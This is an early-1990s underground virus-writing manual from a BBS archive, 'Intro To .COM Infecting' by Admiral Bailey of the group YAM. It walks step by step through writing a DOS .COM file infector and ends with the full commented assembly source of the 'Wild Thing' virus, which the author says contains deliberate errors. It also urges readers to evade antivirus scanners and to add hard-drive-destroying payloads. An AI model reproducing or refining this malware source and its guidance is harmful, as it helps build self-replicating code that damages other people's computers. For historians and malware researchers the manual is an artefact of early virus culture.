home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / texts / term_papers / yam-2.txt < prev    next >
Text File  |  1995-03-31  |  31KB  |  646 lines

  1.  
  2.            _______    _______ __________ _____________________
  3.             \     |  |     / /    __    \ \                 /
  4.              |    |  |    | |    /  \    | |               |
  5. *************|    |_/     |*|    \__/    |*|               |*****************
  6. *************|            |*|            |*|    ||   ||    |*****************
  7. **************\______     |*|     __     |*|    ||   ||    |*****************
  8. *********************\    |*|     ||     |*|    |*\_/*|    |*****************
  9.               ________|   | |     ||     | |    |     |    |
  10.              /            | |     ||     | |    |     |    |
  11.            /_____________/ /_______\\_____\ \____\   /______\
  12.  
  13.                         ■ Youngsters Against McAfee ■
  14.                                    Present
  15.  
  16.                            Intro To .COM Infecting
  17.  
  18.                      Part II of an on going series of the
  19.                    Totally Whacked Out Virus Writer's Manual
  20.                            By Admiral Bailey [YAM]
  21.  
  22.   ______________
  23. --| Disclaimer |------------------------------------------------------------
  24.   ~~~~~~~~~~~~~~
  25.   I Nor Any member of YAM is not responsible in any way for any damage done
  26. by this manual.  Or anybody that reads this manual.  There simple and small.
  27.  
  28.   ____________________
  29. --| Copyright Notice |-(C)opyrite 1992--------------------------------------
  30.   ~~~~~~~~~~~~~~~~~~~~
  31.   This thing is copyrighted by me.  Do not change anything in it and release
  32. it as your own.  If you like it that's good.  If you don't then do better.
  33. If you caught releasing this as your own you will be dealt with accordingly.
  34. I will make sure of this.
  35.  
  36. Now onto the good stuff... again!
  37.  
  38.   ________________
  39. --| Introduction |-----------------------------------------------------------
  40.   ~~~~~~~~~~~~~~~~
  41.   Imagine one day downloading VSum and looking through it only to find out
  42. that your virus has made it in there.  And it also having the line 'I don't
  43. know what this virus does other then replicate' in the description.  Boggling
  44. McAfee and Patty all because you decided to write a simple virus that to them
  45. is a pain in the ass.  Well now your dreams can come true.  In this part of
  46. the TWOVWM (Totally Whacked out Virus Writer's Manual) i will be explaining
  47. the process of .COM infecting in a very detailed manner.  You may get bored
  48. from all the reading that you have to do but you will know exactly how to
  49. infect .COM files by the time you are done reading this.  But before you read
  50. this I recommend that you read the first Manual on overwriting virii.  It has
  51. most of the basic's and i will not repeat anything in that manual when it
  52. comes to the coding time.
  53.  
  54.                           __________________________
  55.                           | Why Am I Writing This? |
  56.                           ~~~~~~~~~~~~~~~~~~~~~~~~~~
  57.   I have never come upon anything that explains virii in detail.  Explaining
  58. why to do this and how to do this.  By writing this I'm putting something out
  59. into the world of virii that will contribute to better virii being made.
  60.  
  61.                       _________________________________
  62.                       | What Type of Virus This Time? |
  63.                       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  64.   In this Manual I will be talking about how to write .COM infecting virii.
  65. What are they?  Basically they are virii that infect any file that fits the
  66. criteria of '*.COM'.  Its one of the 3 types of executable files.  There are
  67. Batch, .EXE (Explained in a later part), and .COM. Infecting .COM files is
  68. the second easiest virus to write next to the over writer.  What a .COM
  69. infecting virus does is search the current drive for a .COM file and infect
  70. it by altering the first jump (Explained later) so that instead of
  71. immediately running the program the virus is run first and then control is
  72. given back to the original file.  The advantages of this type of virus is
  73. that you can replicate on a system without the user finding out.  You can
  74. do many thing to make it harder for the person to figure it out.  But I'll
  75. save that for another part.
  76.  
  77. Basic Concept Of A .COM Infecting Virus:
  78. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  79. File Before Infected :
  80.      _________________________
  81.      | JP | Original Program |
  82.      ~~~~~~~~~~~~~~~~~~~~~~~~~
  83. ─[- All the program does is jump to the program (Note JP-Jump Program) and
  84.     executes the program.
  85.  
  86. File After Infected :
  87.      ______________________________________
  88.      | JV | Original Program | Virus | JP |
  89.      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  90. ─[- Before the program is run the program first jumps to the virus (Note JV -
  91.     Jump Virus) executes the virus and then jumps back to the original
  92.     program. (Note the JP)
  93.  
  94.                            _______________________
  95.                            | What Will You Need? |
  96.                            ~~~~~~~~~~~~~~~~~~~~~~~
  97.   In order for you to create your first .COM infecting virus you will need as
  98. usual:
  99.  
  100.         ■ TASM (Latest Version).  Its the best!
  101.         ■ Knowledge of assembly.  Duh!? Whats Dat???
  102.  
  103. But other things I recommend are:
  104.  
  105.         ■ The first part of the TWOVWM.  (Wow what a name.)  It gets into
  106.           the basics of virii ect.
  107.         ■ A good debugger.  A lot of people like Turbo debugger but
  108.           personally I like debug because its quick and simple.
  109.         ■ Ralph Browns Interrupt list.  Its pretty big (1 meg).  But it has
  110.           almost every interrupt that you can call on a computer and its
  111.           getting bigger.  Even has some undocumented calls.
  112.         ■ Any virus mag.  I personally like NUKE's because it has a lot of
  113.           info in it.  But Evolution is still on top. :)
  114.         ■ Sourcer so you can get a commented source of other virii that you
  115.           have.
  116.         ■ Evolution Mag.  YAM's mag.  A must have because of its articles
  117.           ect.. check it out for yourself.
  118.  
  119.   _____________________
  120. --| Let's Get Writing |------------------------------------------------------
  121.   ~~~~~~~~~~~~~~~~~~~~~
  122.   Now since this is going get quite complicated for beginners I will first
  123. illustrate what will be happening in your program by using a flow chart.
  124. After that we will go through the process of actually infecting bit
  125. by bit.  The virus that I will use for this will be a variant of the Wild
  126. Thing virus that I wrote.  I'm not going give out the exact source because...
  127. well because.  And for all you K-Rad /<ool d00d's out there don't try to just
  128. compile the source and distribute it because it's not going work.  I'm going
  129. purposely put error's in it to stop just any lamer from compiling it and
  130. calling it their's.  So don't try.  All this one will do is infect all
  131. .COM files in the current directory anyway's.
  132.   So first here is a flow chart of what the virus will do after this we will
  133. get into the actual coding:
  134.  
  135.              ┌─────────────┐
  136.           ┌──┤Jump to Virus│
  137.           │  └─────────────┘
  138.           │
  139.           │  Original Program Will Be Here
  140.           │
  141.           │  ┌─────────┐
  142.           ├──┤Find file│
  143.           │  └──┬──────┘
  144.           │     │
  145.           │  ┌──┴──────┐ Nope ┌───────────────┐   ┌────────────────┐
  146.           │  │Any found├──────┤Display message├───┤Jump to original│
  147.           │  └──┬──────┘      └───────────────┘   │Program         │
  148.           │     │ Yup                             └────────────────┘
  149.           │  ┌──┴────┐
  150.           │  │Open It│
  151.           │  └──┬────┘
  152.           │     │
  153.           │  ┌──┴───────────────────┐
  154.           │  │Read First Three Bytes│
  155.           │  └──┬───────────────────┘
  156.           │     │
  157.           │  ┌──┴────────────────┐
  158.           │  │Check For Infection│
  159.           │  └──┬────────────────┘
  160.           │     │
  161.           │  ┌──┴───────────┐  Yup
  162.           │  │Is it infected├─────────┐
  163.           │  └──┬───────────┘         │
  164.           │     │ Nope                │
  165.           │  ┌──┴──────────────────┐  │
  166.           │  │Replace First 3 Bytes│  │
  167.           │  └──┬──────────────────┘  │
  168.           │     │                     │
  169.           │  ┌──┴───────────────┐     │
  170.           │  │Write virus To end│     │
  171.           │  └──┬───────────────┘     │
  172.           │     │                     │
  173.           │  ┌──┴───────┐             │
  174.           └──┤Close file├─────────────┘
  175.              └──────────┘
  176.  
  177.   The flowchart is quite obvious.  Just follow through it and you will get
  178. the idea of how this type of virus will work.  Now lets get into some
  179. coding.
  180.  
  181.                               _________________
  182.                               | What's First? |
  183.                               ~~~~~~~~~~~~~~~~~
  184.   The first thing you should have in you virus is a jump statement.  Every
  185. .COM file (Well every legit one) starts off with a jump statement.  The
  186. statement is located at 100h and tells the computer where to jump and start
  187. at.  All .COM file start at 100h where .exe files start at different areas.
  188. (That's why you should have the org 100h statement at the top. You'll see
  189. this later on in the virus source.)  The jump should be coded using db
  190. statements.  Why well just to make sure there are 3 bytes at the top of your
  191. virus so you can later replace them safely.  A regular jump only uses two
  192. bytes so when replacing it it can destroy your virus.  After you have your
  193. jump you must set up your pointer.  (as i would like to call it.) It is
  194. explained next.
  195.  
  196.               _________________________________________________
  197.               | Pointer's The Most Important Thing In A Virus |
  198.               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  199.   This may get complicated so try to follow.  Basically a pointer is a
  200. location that you keep in a register that points to the beginning of the
  201. virus in an infected file.  When a virus attaches itself to a file the
  202. beginning of the virus is no longer at the beginning of the file.  So now all
  203. offsets are changed.  For example :
  204.  
  205. Without The Pointer
  206. ~~~~~~~~~~~~~~~~~~~
  207. Original virus:
  208. 100     jmp 103
  209. 103     mov ax,[500]    ; put whats at location 500 in ax
  210. ...                     ; where in this case its ffffh
  211. 500     db 0ffffh
  212.  
  213. Virus After Infection:
  214. 100     jmp 900         ; now we jump to the virus first
  215. 103                     ; from here to 900 is the original program
  216. ...
  217. 500     db 0340h        ; here's where it asks for the info from and it could
  218. ...                     ; be anything
  219. 900     mov ax, [500]   ; the beginning of the virus
  220. ...                     ; it asks for whats at location 500 but now its
  221. 1400    db 0ffffh       ; different because its part of the original file.
  222.                         ; What it really wants is whats at location 1400h
  223.                         ; that's where the old 500 is now since it was tagged
  224.                         ; onto the end of the original file.
  225.  
  226. So as you can see all the offsets are changed.  But with a pointer it will
  227. fix this problem.  Note the pointer is kept in the BP register.  A register
  228. we do not use a lot.  In this case bp's value is 900. (The beginning of the
  229. virus after the original program)
  230.  
  231. Virus After Infection:
  232. 100     jmp 900         ; jmp's automatically calculate themselves
  233. 103                     ; from here to 900 is the original program
  234. ...
  235. 900     mov ax, [bp+500]; the beginning of the virus
  236. ...                     ; and since bp = 900 then 900+500=1400
  237. 1400    db 0ffffh       ; which is right here and the value from the original
  238.                         ; file is at the new location and we found it.
  239.  
  240. If you don't understand what I was trying to say then keep reading this over
  241. until you do because its very important.  If you still stuck then read on and
  242. you may understand it.
  243.  
  244.                           __________________________
  245.                           | Setting up the Pointer |
  246.                           ~~~~~~~~~~~~~~~~~~~~~~~~~~
  247. The first thing you should do when doing this is decide which register you
  248. are going to hold the pointer in.  When choosing one keep in mind not to
  249. choose one of the ones that are used a lot.  Mainly AX,BX,CX,DX.  And you
  250. can't use SP,IP.  So you are stuck with using SI,DI,BP.  SI and DI are going
  251. to be used for other things in my example so I am going to use BP.  But
  252. remember what ever you use to hold the pointer make sure you never loose the
  253. value in it.  Now to set up the value you will have to use a call statement.
  254. Why?  Well when you execute a call it pushes the offset of where to return to
  255. onto the stack.  You can then pop this value off of the stack into your
  256. chosen register.  Then you would subtract the offset of the location that was
  257. called and you would have your new pointer.  An Example of this would be
  258. something like:
  259.  
  260.         call    SetUpPointer
  261. SetUpPointer:
  262.         pop     bp
  263.         sub     bp,offset setuppointer
  264.  
  265. Now your bp register holds the pointer.  In the non-overwriting virus all
  266. offsets where found by using the direct method.  Now you must change these
  267. ways to this:
  268.  
  269. Instead Of : Mov Ax,offset newjump
  270. Do         : Mov Ax,[Bp+offset newjump]
  271.  
  272. For register like DX you use the LEA statement instead of the mov statement.
  273. This will probably be explained later on.
  274.  
  275.                        _______________________________
  276.                        | Restoring The Original Jump |
  277.                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  278.   Now that you have set up your pointer the first thing you should do is move
  279. back the original jump to the beginning.  There is nothing complicated about
  280. this.  All you have to do is put the location of the original 3 bytes in si
  281. and 100h in di and then use a movsb and a movsw.  Before you actually move
  282. the bytes you should push di onto the stack.  Why?  Well when you set up the
  283. pointer with the call statement you poped the return location off the stack
  284. but you never replaced it.  By pushing di on the stack (which now hold 100h)
  285. to return to the original program all you have to do is do a ret and it will
  286. return to 100h where the original jump now is and the program will then jump
  287. to the original program.  The code will look like below:
  288.  
  289.         mov     di,100h         ; that's where all the original jumps are
  290.         lea     si,[bp+offset oldjump] ; put location of old jump in si
  291.         push    di              ; put on stack for final return
  292.         movsw                   ; move a word and a byte (3bytes)
  293.         movsb
  294.  
  295.  Now by moving the first three bytes back to the beginning of the file don't
  296. think they stay there.  They are only there in memory and will be gone after
  297. the program is done.  Don't worry about this because its not that important.
  298. Oh and BTW for the first run virus the old jump you should set to int 20
  299. which is 0cdh, 20h in hex and which halts execution of a .COM file.
  300.  
  301.                             ______________________
  302.                             | Before We Continue |
  303.                             ~~~~~~~~~~~~~~~~~~~~~~
  304.   Before we continue onto the infection process we could do a couple things.
  305. First you could move the DTA (Explained in the first part).  That was one of
  306. the problems with the tiny virus.  Any program that was infected with tiny
  307. and required command line parameters would not run because any parameters
  308. given on the command line were destroyed by the find first/next commands.
  309. After moving the DTA you will have to find the first file which i will not
  310. discuss because it was explained in the first part.
  311.  
  312.                               __________________
  313.                               | Moving The DTA |
  314.                               ~~~~~~~~~~~~~~~~~~
  315.    Moving the DTA.  In order to move the DTA you must set up a buffer where
  316. the new DTA will be held.  The DTA is 42 bytes long there for the buffer for
  317. this is going to be 42 bytes big.  If you want to keep your virus small the
  318. best place to set up the DTA buffer is in the Heap (Explained Below).  To
  319. move the DTA use something like the code below :
  320.  
  321.         lea     dx,[bp+offset newDTAloc]; location to hold new dta
  322.         mov     ah,1ah                  ; mov dta command
  323.         int     21h                     ; call dos
  324.  
  325.         newdtaloc db 42 dup(?)          ; set up the buffer for the dta
  326.  
  327.   After setting up this new DTA you address everything in it by using the bp
  328. and DTA offset.  For example to get the file size do this:
  329.  
  330.         mov     bx,[bp+offset newDTAloc+1ah]  ; gets file size
  331.  
  332.   Now one thing you must not forget is to move the DTA back to its original
  333. location when your virus is about to return control.  To do this you follow
  334. the same as the above but instead put 80h (the original location of the DTA)
  335. into dx and your ready to return to the original program.
  336.  
  337.   It will become more clearer later on.
  338.  
  339.                          ___________________________
  340.                          | Why LEA Instead Of MOV? |
  341.                          ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  342.   The Reason I suggest using LEA instead of MOV for registers that need
  343. direct offsets of things is because LEA is quicker.  LEA is smaller and LEA
  344. will move the offset address into the destination operand instead of moving
  345. the value that's held at that location.  So this is the best command to use
  346. for getting a location for something like the new DTA in a register.  It is
  347. mainly used for the DX register.
  348.  
  349.                                  ____________
  350.                                  | The Heap |
  351.                                  ~~~~~~~~~~~~
  352.   The heap is an area in memory beyond the end of the file and before the
  353. stack.  Its not used for anything therefore we could use it to our advantage.
  354. After the program everything in the heap gets destroyed.  There for we can
  355. only use the heap to hold temporary things.  Like the DTA, the newjump ect.
  356. Just as long as this stuff wont be needed by our virus when its run again.
  357.  
  358.                           __________________________
  359.                           | Checking For Infection |
  360.                           ~~~~~~~~~~~~~~~~~~~~~~~~~~
  361.   Th easiest way to check a file for previous infection is to put the file
  362. size in one register (say bx) out of the files DTA.  Then get the location of
  363. where the jump jumps to and put it in another register (say ax).  Add the
  364. size of the virus to ax and compare them.  If ax=bx then the file is already
  365. infected.  It will make sense later if it doesn't already.  If its already
  366. infected then get another file.  If not then continue on.  A sample of this is
  367. as follows:
  368.  
  369. The following gets the size of the file out of the DTA and puts it into the
  370. ax register.
  371.  
  372.         push    bx                      ; save this because it hold the
  373.                                         ; handle
  374.         mov     bx,[bp+offset newdta+1ah]; put loc of size into bx
  375.         mov     ax,[bx]                 ; put what bx points to into ax
  376.         pop     bx                      ; get the handle back
  377.  
  378. Next we get the location of the jump add the virus size and compare it to
  379. the file size (which is in the ax register).
  380.  
  381.         mov     cx,word ptr [bp+oldjump+1] ; get old jump loc
  382.         add     cx,eof-virus+3          ; convert to size
  383.         cmp     ax,cx                   ; compare
  384.         jz      closefile               ; if equal get another.
  385.  
  386. I must give credit to 40Hex for this method.  I'm sure they didn't invent it
  387. but it was from them that I learned to use this one.  The one I used was
  388. so stupid.
  389.  
  390.                           _________________________
  391.                           | The Infection Process |
  392.                           ~~~~~~~~~~~~~~~~~~~~~~~~~
  393.   Now that you have found the first file you must infect it if its not
  394. already infected.  This part of this manual will be very lengthy so bear with
  395. me.
  396.   First thing you should do is replace the first three bytes in the file
  397. found.  That way it will gie control to the virus first before the actual
  398. program is executed.  You do this step next because you can use the register
  399. that had the file size in it from when you were testing for previous
  400. infection.  To do this (in my example the register is ax) subtract 3 from
  401. the register (to subtract from the jump) and save it in an area that has
  402. a 0e8h that is right before it.  This is one of those things you can save
  403. in the heap.  For example.
  404.  
  405.         sub     ax,3            ; ax has file size
  406.         mov     [bp+jumploc],ax ; save it for the write
  407.  
  408.         jmpcom  db 0e9h         ; jmp ****:oooo the command
  409.  
  410.         eof     equ     $       ; marks beginning of heap & end of file
  411.  
  412.         jumploc dw ?            ; where the location to jump to will be held
  413.  
  414. First you must set the file pointer to the beginning of the file.
  415.  
  416. Move File Pointer to beginning of file :
  417.                 AH = 42h                    ; move file pointer command
  418.                 AL = 00h                    ; to beginning of file
  419.                 DX & CX must be empty       ; use xor dx,dx and xor cx,cx
  420.  
  421.   Now you write the new jump to the file by using the write to file command
  422. which is explained in part one of the manuals.  But instead put 3 in cx
  423. (write three bytes) and in dx load the offset of jmpcom.  It will write to
  424. the beginning of the file and it will write jmp ****:oooo.  So now the file
  425. will first give control to your virus before executing itself.  So now you
  426. have put the actual virus code at the end of the file.  So first you move the
  427. file pointer to the end of the file.  Its the same as moving the file pointer
  428. to the beginning of the file but in AL you put 02.
  429.   Now you write the file to the end of the file. I'll give you an example of
  430. how to do that :
  431.  
  432.         mov     ah,40h                  ; write to file command
  433.         mov     cx,eof-virus            ; number of bytes to write
  434.                                         ; eof is the beginning of the heap
  435.                                         ; virus is a marker right before the
  436.                                         ; first call statement.
  437.         lea     dx,[bp+offset virus]    ; same as above but this is where to
  438.                                         ; start writing from
  439.         int     21h                     ; call dos
  440.  
  441.   There now that you've written the virus code to the end of the file you
  442. just simply close the file (explained in part I) and go find another.  After
  443. you've found another you repeat all of the infection process.
  444.                     ______________________________________
  445.                     | Returning Control To Original File |
  446.                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  447.   Way at the beginning of the program you moved 3 bytes back to the beginning
  448. of the file and you pushed a value of a 100h onto the stack.  Now hoping that
  449. you have not forgotten anything on the stack (by pushing something and not
  450. popping or by calling a procedure and not returning ect..) all you will have
  451. to do is issue a RET command and it will jump to location 100h and execute
  452. the original program.  And that's basically it to infecting a .COM file.
  453. Check below for an example of all of what we discussed.
  454.  
  455.                                 ______________
  456.                                 | What Else? |
  457.                                 ~~~~~~~~~~~~~~
  458.   .COM infectors can have endless capabilities.  But that's where imagination
  459. comes it.  You can have it kill the hard drive on a certain day or time.  Or
  460. whatever. But its all up to you.  Also don't forget to scan your virus before
  461. releasing it.  You don't want to release something you spent endless hours on
  462. and it is scannable.  Read 40 Hex issue (i forgot) on how to make your virus
  463. unscannable if it happens to be scannable.  Its one of the best E-Mags
  464. dealing with virii and the like.
  465.  
  466.                               __________________
  467.                               | Error Checking |
  468.                               ~~~~~~~~~~~~~~~~~~
  469.   This is very important to do.  I already explained it in part one so I
  470. suggest you read up on it.  It could help your virus a lot.
  471.  
  472.   ______________
  473. --| An Example |------------------------------------------------------------
  474.   ~~~~~~~~~~~~~~
  475.   I have included below an example of a plain .COM infecting virus.  It is
  476. part of one of my first .COM infecting releases.  I call it Wild Thing.  Its
  477. better then the tiny in the way it works and it heavily commented.  So enjoy.
  478. BTW there is an error or two in it to stop just any lamer from compiling it
  479. and releasing it as your own.  So to challenge all you beginners you have to
  480. fix any errors in it.
  481.  
  482. ;---
  483. ;  Wild Thing Virus
  484. ;
  485. ;  To Compile : TASM Wild /m  ; Means use the multipass option
  486. ;               Tlink wild /t ; Means turn it into a .COM file
  487. ;---------
  488.  
  489. code    segment public 'code'
  490.         assume  cs:code
  491.         org     100h                    ; all .COM files start at 100h
  492.  
  493. start:
  494.         db 0e9h                         ; jump to the virus loc
  495.         dw 0                            ; in Debug is jmp 103
  496.  
  497. virus:
  498.         call    realcode                ; push ip on stack
  499.  
  500. realcode        proc    near
  501.         pop     bp                      ; will pop ip into bp
  502.  
  503.         lea     si,[bp+offset oldjump]  ; put the loc of orig jump in si
  504.         mov     di,100h                 ; where to put the orig jump
  505.         push    di                      ; for when we retn from the first
  506.                                         ; call
  507.         movsw                           ; move two bytes
  508.         movsb                           ; move one byte
  509.  
  510. ; Here you can do the moving of the DTA.  I don't want to do all the work
  511.  
  512.         mov     ah,4eh                  ; findfirst command
  513.         lea     dx,[bp+offset filespec] ; load loc of filespec in dx
  514.         xor     cx,cx                   ; find normal attrib
  515. findnext:
  516.         int     21h
  517.  
  518.         jmp     openfile                ; if found file then open it
  519.  
  520. quit:
  521.         mov     ah,09h                  ; display string
  522.         lea     dx,[bp+offset messege]  ; loc of string
  523.         int     21h
  524.  
  525. ; if you moved the DTA before here is where you move it back
  526.  
  527.         retn                            ; return to loc 100h
  528.  
  529. openfile:
  530.         mov     ax,3d02h                ; open file for read/write
  531.         mov     dx,80h + 1eh            ; get location of file name in dta
  532.         int     21h
  533.  
  534.         jc      findnext                ; if error opening then get another
  535.  
  536.         mov     cx,3                    ; read 1st 3 bytes
  537.         mov     ah,3fh                  ; read file command
  538.         lea     dx, [bp+offset oldjump] ; put location to hold the jump
  539.         int     21h                     ; read the file
  540.  
  541.         jc      closefile               ; if error close up and find another
  542.  
  543.         push    bx                      ; save this on the stack
  544.         mov     bx,80h+1ah              ; put loc of of the file size into bx
  545.         mov     ax,[bx]                 ; put the actual file size into ax
  546.         pop     bx                      ; get original bx back off stack
  547.  
  548. ;---
  549. ; Here we check for previous infection...
  550. ; Thanx go to 40hex-7 article for this method.  Its easy and better than the
  551. ; ones I've used before.
  552. ;---------
  553.         mov     cx,word ptr [bp+oldjump+1] ; get the location that the file
  554.                                         ; jumps too
  555.         add     cx,eof-virus+3          ; add the virus size to it
  556.         cmp     ax,cx                   ; compare
  557.         jz      closefile               ; if equal its equal that means the
  558.                                         ; file is infected and the jump jumps
  559.                                         ; to the virus first
  560.  
  561.         sub     ax,3                    ; calculate where the new jump will
  562.                                         ; jump to by subtracting 3 (because
  563.                                         ; of beginning jump) from the file
  564.                                         ; size
  565.         mov     word ptr [bp+jumploc],ax ; store new jump till later
  566.                                         ; can also put this in the heap
  567.         mov     ax,4200h                ; move file pointer to the beginning
  568.                                         ; of the file
  569.         xor     cx,cx                   ; clear these
  570.         xor     dx,dx                   ; or else pointer wont be set right
  571.         int     21h
  572.  
  573.         mov     ah,40h                  ; write to file command
  574.         mov     cx,3                    ; just first three bytes
  575.         lea     dx,[bp+offset jumpcom]  ; location of the new jump
  576.         int     21h                     ; do it.
  577.  
  578.         mov     ax,4202h                ; set file pointer to the end of the
  579.                                         ; file
  580.         xor     cx,cx                   ; clear these
  581.         xor     dx,dx                   ;
  582.         int     21h
  583.  
  584.         mov     ah,40h                  ; write the virus to the end
  585.         mov     cx,eof-virus            ; the program calculates the virus
  586.                                         ; size itself and puts it into CX
  587.         lea     dx,[bp+offset virus]    ; where to start writing from
  588.         int     21h
  589.  
  590. closefile:
  591.         mov     ah,3eh                  ; close file
  592.         int     21h
  593.  
  594.         mov     ah,4fh                  ; find next command
  595.         jmp     short findnext          ; find another file
  596.  
  597. realcode        endp
  598.  
  599. messege         db      'Wild Thing Virus',13,10,'$'
  600. sig             db      'Admiral Bailey [YAM] ',13,10,'$'
  601.         ; the sig never gets displayed.  Just there to let mcafee know who
  602.         ; wrote the file
  603. filespec        db      '*.com',0       ; type of files to find
  604. oldjump         db      0cdh, 020h, 0h  ; to hold the old jump with jmp
  605. jumpcom         db      0e9h            ; jump command
  606. eof     equ     $       ; marks the end of the file and the beginning of the
  607.                         ; heap
  608. jumploc         dw      ?               ; holds the new jump
  609.  
  610. code    ends
  611.  
  612.         end     start
  613.  
  614.   _____________
  615. --| Home Work |-------------------------------------------------------------
  616.   ~~~~~~~~~~~~~
  617.   Well if you have to have some home work :) then here goes:
  618.  
  619.         ■ Have it cover its tracks by restoring attributes/date/time ect..
  620.         ■ Have it move the DTA
  621.         ■ Have it change directories.
  622.  
  623.   All the above is somewhat advanced and will take time.  But i will be
  624. explaining it in the next part of this manual.
  625.  
  626.   ______________
  627. --| Conclusion |------------------------------------------------------------
  628.   ~~~~~~~~~~~~~~
  629.   Finally before I go just want to say that if you enjoy these let me know.
  630. Heck if i get a response from you people I'll write more.  But it does take
  631. quite a bit of time.  Others I may release are :
  632.  
  633.         ■ Extras You Can Add on to virii [attribs/date/time restoring ect.]
  634.         ■ Encryption using the xor method
  635.         ■ .EXE Infection
  636.         ■ Different Ways Of Killing The Computer's HD ect...
  637.         ■ Debug Killing techniques
  638.  
  639.                                         Have fun coding...
  640.  
  641.                                                 Admiral Bailey [YAM]
  642.  
  643. ** WOW!!! 644 Lines.  Pretty long.
  644.  
  645.  
  646.